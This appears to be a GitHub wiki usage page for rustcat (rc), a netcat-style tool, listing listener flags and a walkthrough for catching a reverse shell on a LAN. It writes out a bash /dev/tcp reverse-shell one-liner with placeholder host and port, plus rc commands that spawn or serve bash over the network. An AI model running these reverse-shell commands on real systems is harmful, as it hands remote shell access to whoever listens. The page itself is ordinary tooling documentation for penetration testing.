Skip to content
Robiot edited this page Sep 28, 2021 · 10 revisions

Usage

rc [FLAGS] [OPTIONS]

Examples:

Basic reverse shell on lan

First, lets start a tcp listener with command history. rc -lHp 55660.
Then we can start a reverse shell on the host machine, but first we will have to grab our local ip.

ip addr

Output:
1: wlp3s0: <stuff>
    inet 192.168.1.150/24

For me my local ip is 192.168.1.150
Now you may run one of these commands on the host machine, you can also use any other revshell.
Replace "hostip" with the local ip we got from the command above and set the "port" to anything between 1 - 65535. Tho some ports may already be in use.

>> /bin/bash -c 'bash -i >& /dev/tcp/hostip/port 0>&1'
Or with rustcat
>> rc hostip port -r bash

Once you ran that on the host machine, you should have a reverse shell with history.

Docs:

Show the help

rc --help

Listen to port 55660 on localhost

rc -lp 55660
-l : Listen Mode
-p : Only specify port, defaults ip to localhost

Listen to port 55660 on localhost with command history & command completion:

rc -lHp 55660
-l : Listen Mode
-p : Only specify port, defaults ip to localhost
-H : Enables command history

Listen to port 55660 on localhost with command history & command completion and start a tty on connection recieved:

rc -lHp 55660 -e "/bin/bash -i"
-l : Listen Mode
-p : Only specify port, defaults ip to localhost
-H : Enables command history
-e : Execute command when connection recieved

Listen to port 55660 on localhost udp :

rc -lup 55660
-l : Listen Mode
-u : Udp Mode
-p : Only specify port, defaults ip to localhost

Listen to port 55660 on specified ip (192.168.1.10) :

rc -l 192.168.1.10 55660
-l : Listen Mode
[ip] [port]

Create a bash reverse shell listening on port 55660 on localhost:

rc -p 55660 -r bash
-p : Only specify port, defaults ip to localhost
-r : Shell specification

Create a bash reverse shell listening on port 55660 on specified ip (192.168.1.10):

rc 192.168.1.10 55660 -r bash
[ip] [port]
-r : Shell specification
Clone this wiki locally